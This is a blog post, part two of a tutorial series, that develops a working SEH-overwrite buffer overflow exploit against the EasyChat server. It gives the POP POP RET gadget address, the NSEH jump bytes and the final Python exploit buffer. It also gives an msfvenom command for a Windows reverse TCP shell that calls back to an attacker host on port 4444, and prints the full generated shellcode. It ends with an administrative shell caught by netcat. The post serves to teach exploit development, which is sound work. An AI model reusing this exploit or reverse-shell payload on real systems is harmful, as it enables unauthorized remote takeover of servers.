A Study in Exploit Development – Part 2: Taking it to the Next Level
Rick Osgood | April 2, 2018
Welcome to Part 2 of this 2-part blog series looking at the details of exploring and validating an exploit! If you liked this series, I bet you’d be interested in our webinar on How to Think Like A Hacker, check it out! Now on to Part 2: Taking it to the Next Level. (Part 1 can be found here).
POP POP RET
When the exception handler is called, the system creates a new structure on the stack. To see what this looked like, I set SEH to a point to a random location in the program’s executable memory space and set a debugger breakpoint there. For this exercise I chose 0x10018012. Now when I run the fuzzer, it will set SEH to 0x10018012. An exception will be raised and the EIP register will point to 0x10018012. The CPU will attempt to execute the instructions at that address, but I’ve set a breakpoint to pause the program when that happens. Once the breakpoint is hit, ESP (stack pointer) points to 0x07356880. Let’s go to that location and see what the stack looks like:
This data is part of an exception handling structure that was set up when the exception was raised. The important thing to notice here is the third entry. At stack location 0x07356888 there is a pointer to 0x07356E34. Going to that location, we see the following:
Aha! It’s the NSEH value!
This is where the tricky part comes in. You need to understand how the machine interprets two CPU instructions: POP and RET.
RET: When the CPU executes a RET instruction, the pointer located at the ESP (stack pointer) address is placed into EIP (instruction pointer). The CPU then executes the instructions located at EIP.
POP: For a POP instruction, the CPU takes one item off the stack and sticks it into a specified register. So, if the instruction is POP EAX, the CPU removes one item from the stack and stores it in EAX.
How is this relevant here? Let us walk through what is about to happen. ESP currently points to 0x07356880. That address contains some data I do not care about. If I can get the CPU to execute a POP instruction, ESP will increase to the next item on the stack. I do not care about this item either. If I POP again, I can increase ESP and skip the unwanted item. Now ESP will point to the NSEH address. If I then execute RET, the address of NSEH will be placed into EIP. The CPU will then execute whatever code sits in NSEH. I can control NSEH, so I can now control the CPU!
There is one other hurdle to overcome. I cannot just stick my shellcode at NSEH, because SEH comes after that and I need SEH to contain a pointer to the POP, POP, RET instructions. Remember, the stack will look like this when I submit my payload:
…. AAAA AAAA NSEH SSEH BBBB BBBB ….
This means I only get four bytes in NSEH to work with. It turns out, however, that four bytes is enough. All I need to do is place a JMP instruction there. This will tell the CPU to jump passed the SEH address and continue code execute from there. The hexadecimal equivalent of a CPU JMP instruction is 0xEB, which is one byte. Then I need to tell it how far to jump; in this case, it will be six bytes.
The full instruction is thus 0xEB06. Since the memory space is four bytes in size, I simply add some garbage characters to the end. In this case I used two 0x90 instructions (NOP instruction). Now the complete instruction looks like 0xEB069090.
Why did I jump six bytes? SEH takes up four bytes, plus I had to deal with the two extra bytes (0x9090). That brings the total to 6.
My buffer now looks like this:
…. AAAA AAAA NSEH -> 0xEB069090 (JMP) SSEH -> POP POP RET BBBB -> SHELLCODE BBBB ….
With my buffer defined, where do I get the POP POP RET instructions? I have to find them in some other executable part of the program. I need to find a little piece of the EasyChat program, or one of its modules, that has these instructions already there. It also needs to meet the following conditions:
- Module must not have SafeSEH enabled.
- Module must not have Rebase or ASLR enabled (otherwise the address will change when EasyChat is restarted).
- Address of POP POP RET instruction cannot contain 0x00.
- 0x00 is a NULL byte, which will terminate a string.
- Since my payload is processed as a string, if I submit a NULL byte, it will cut off everything after the NULL byte.
- This means I can’t use 0x00 at all in my payload.
To find a POP POP RET instruction that fits the criteria, I used a handy script called mona.py. Once installed, I can launch it right from immunity.
First, I had to find modules that meet the criteria, so I typed “!mona modules”.
As you can see, there are a lot of modules, but only two of them do not have Rebase enabled. One is the EasyChat.exe file itself and the other is SSLEA32.dll that also comes with EasyChat. I cannot use the EasyChat.exe file because the first byte in the memory address is 0x00, a null byte. This means I only have SSLEAY32.dll to work with. Hopefully I can find what I am looking for. I used mona again to search for POP POP RET instructions:
!mona seh -m SSLEAY32.dll -cpb '\x00'
- The seh component tells mona to search for POP POP RET, -m SSLEAY32.dll tells mona to only search the one module, and -cpb ‘\x00’ tells mona that 0x00 is a bad character so it will exclude addresses I cannot use.
Mona found 155 pointers I can use for this exploit, though it only shows 20 in the log. I only need one, so this works just fine. I chose the first one I plugged it into the exploit as SEH:
nseh = "NNNN" seh = "\x21\x7f\x01\x10" # POP ESI # POP ECX # RET OVERFLOW = ("A" * 217) + nseh + seh + ("B" * 500)
I left NSEH alone for now. I executed the exploit and checked the debugger.
Success! EIP points to the NNNN instructions. Now all I should have to do is change NNNN to JMP and the CPU should jump over SEH and land in the BBBB instructions, which is where my shellcode will end up.
During my research I discovered that Windows Server 2012 has built-in protections against this type of behavior. First, there is a protection mechanism called SEHOP. SEHOP verifies that the SEH chain is intact before it will execute any handlers within the chain, so if I overwrite any of the SEH or NSEH addresses, Windows will refuse to execute the handler.
A second protection is called Data Execution Prevention (DEP). DEP configures the memory stack so that it is non-executable. For a typical buffer overflow, you would place your shellcode into a buffer that ends up on the stack. Then you trick the CPU into executing that code that resides on the stack. With DEP enabled, this is not possible. When you trick the CPU into attempting to execute your shellcode on the stack, DEP prevents it from happening. An exception will be thrown, and the shellcode will not execute.
For the sake of this learning exercise, I opted to disable SEHOP and DEP on the operating system to build a working proof of concept. With the protections disabled I replaced NSEH with the JMP instruction so the code now looked like this:
nseh = “\xeb\x06\x90\x90” seh = "\x21\x7f\x01\x10" # POP ESI # POP ECX # RET OVERFLOW = ("A" * 217) + nseh + seh + ("B" * 2000)
After running this version of the exploit, the debugger looks like this:
Looking at the EIP register in the upper right-hand corner, I can see that it is pointing to 0x70307684. The CPU attempted to run the instruction at that address and failed, so the program crashed. Why did this happen?
Looking at the CPU window in the upper left corner, I can see the end of my payload (All the 42’s are actually B’s). At the very end of that is a JNB instruction (a type of jump instruction) to 0x70307684. It is logical to assume that the CPU executed our NSEH JMP instruction and landed on my first B. The CPU interpreted this as 0x40, or INC EDX. It executed this instruction approximately 2000 times (since my payload contained 2000 B’s). Then it reached the end of my payload and the data on the stack at that point happened to look like a JNB instruction. The CPU jumped to that address and was unable to execute the code there, so it crashed. This is good news, because it means the CPU executed all of the B’s as if they were valid CPU instructions. All I need to do now is to replace some of those B’s with my shellcode and the exploit should work!
Lucky for me, I need not write my shellcode by hand. Metasploit comes with a handy tool called msfvenom that can do this for me. I decided to generate a simple TCP reverse shell using the following command:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f py -b \x00
The above command outputs python code that can be pasted into my python exploit. The shellcode reaches out to the attacker system (192.168.1.5) on port 4444. The -b \x00 is also very important, as it tells msfvenom that \x00 is a “bad character.” As previously discussed, I cannot use \x00 in my payload at all, because EasyChat will interpret this as the end of the string and the rest of my payload will be cut off. In my case, msfvenom generated the following shellcode:
buf = "" buf += "\xba\x91\x8a\x8f\x12\xdb\xd6\xd9\x74\x24\xf4\x5e\x2b" buf += "\xc9\xb1\x52\x83\xee\xfc\x31\x56\x0e\x03\xc7\x84\x6d" buf += "\xe7\x1b\x70\xf3\x08\xe3\x81\x94\x81\x06\xb0\x94\xf6" buf += "\x43\xe3\x24\x7c\x01\x08\xce\xd0\xb1\x9b\xa2\xfc\xb6" buf += "\x2c\x08\xdb\xf9\xad\x21\x1f\x98\x2d\x38\x4c\x7a\x0f" buf += "\xf3\x81\x7b\x48\xee\x68\x29\x01\x64\xde\xdd\x26\x30" buf += "\xe3\x56\x74\xd4\x63\x8b\xcd\xd7\x42\x1a\x45\x8e\x44" buf += "\x9d\x8a\xba\xcc\x85\xcf\x87\x87\x3e\x3b\x73\x16\x96" buf += "\x75\x7c\xb5\xd7\xb9\x8f\xc7\x10\x7d\x70\xb2\x68\x7d" buf += "\x0d\xc5\xaf\xff\xc9\x40\x2b\xa7\x9a\xf3\x97\x59\x4e" buf += "\x65\x5c\x55\x3b\xe1\x3a\x7a\xba\x26\x31\x86\x37\xc9" buf += "\x95\x0e\x03\xee\x31\x4a\xd7\x8f\x60\x36\xb6\xb0\x72" buf += "\x99\x67\x15\xf9\x34\x73\x24\xa0\x50\xb0\x05\x5a\xa1" buf += "\xde\x1e\x29\x93\x41\xb5\xa5\x9f\x0a\x13\x32\xdf\x20" buf += "\xe3\xac\x1e\xcb\x14\xe5\xe4\x9f\x44\x9d\xcd\x9f\x0e" buf += "\x5d\xf1\x75\x80\x0d\x5d\x26\x61\xfd\x1d\x96\x09\x17" buf += "\x92\xc9\x2a\x18\x78\x62\xc0\xe3\xeb\x4d\xbd\xea\xee" buf += "\x25\xbc\xec\xe1\xe9\x49\x0a\x6b\x02\x1c\x85\x04\xbb" buf += "\x05\x5d\xb4\x44\x90\x18\xf6\xcf\x17\xdd\xb9\x27\x5d" buf += "\xcd\x2e\xc8\x28\xaf\xf9\xd7\x86\xc7\x66\x45\x4d\x17" buf += "\xe0\x76\xda\x40\xa5\x49\x13\x04\x5b\xf3\x8d\x3a\xa6" buf += "\x65\xf5\xfe\x7d\x56\xf8\xff\xf0\xe2\xde\xef\xcc\xeb" buf += "\x5a\x5b\x81\xbd\x34\x35\x67\x14\xf7\xef\x31\xcb\x51" buf += "\x67\xc7\x27\x62\xf1\xc8\x6d\x14\x1d\x78\xd8\x61\x22" buf += "\xb5\x8c\x65\x5b\xab\x2c\x89\xb6\x6f\x5c\xc0\x9a\xc6" buf += "\xf5\x8d\x4f\x5b\x98\x2d\xba\x98\xa5\xad\x4e\x61\x52" buf += "\xad\x3b\x64\x1e\x69\xd0\x14\x0f\x1c\xd6\x8b\x30\x35"
I pasted that into my exploit before declaring my OVERFLOW string.
There was only one thing left to do. Metasploit payloads often need to unpack themselves in memory as they execute. This means that I needed to leave a little room before the shellcode so it has room to unpack itself. To do this, I threw a few NOP (0x90) instructions in at the beginning. A NOP instruction tells the CPU to do nothing and move on to the next instruction. The instructions do not prevent the shellcode from executing; they just leave it with some breathing room.
My final OVERFLOW string looked like this:
nseh = "\xeb\x06\x90\x90" seh = "\x21\x7f\x01\x10" nops = "\x90" * 10 trigger = "B" * 2000 OVERFLOW = "A" * 217 + "\xeb\x06\x90\x90" + "\x94\x8c\x01\x10" + "\x90" *10 + buf + trigger
With this in place, it was finally time to test the completed exploit! Since this is a reverse shell, I had to set up a listener to catch the shell when it connected to my attacking machine. I used netcat for this:
Then I started up the EasyChat server and executed my exploit. Here’s what happened with netcat:
Success! I now have a command line shell on the EasyChat server! But could I interact with it?
Indeed! I now had administrative access to the EasyChat server. The exploit worked!
Taking it to the next level
Although the exploit worked, it required both SEHOP and DEP to be disabled on the server. The exploit would function much better if it were able to bypass these protections on its own instead of relying on them being disabled. Based on my research, it is technically possible to bypass SEHOP under certain circumstances, but typically it is not at all practical or likely. On the other hand, there is a reliable method to bypass DEP. In fact, using a technique called ROP chaining, I was later able to modify this exploit to bypass DEP and still have it function correctly
This project taught me a lot about how computers work at a very low level. This type of exploit requires you to essentially write your own machine code and trick the computer into executing it, so it’s necessary that you really understand what is happening. One wrong byte and the whole thing stops working. I also learned that writing an exploit is not something you can just throw together in a few hours without already having a lot of experience and a development environment ready to go. I’m going to need to really practice these skills to be able to put them to good use during a penetration test.
Looking for more adventures in the lands of vulnerability exploitation? Check out our most popular blog ever: Hacking A Microsoft SQL Server Without a Password!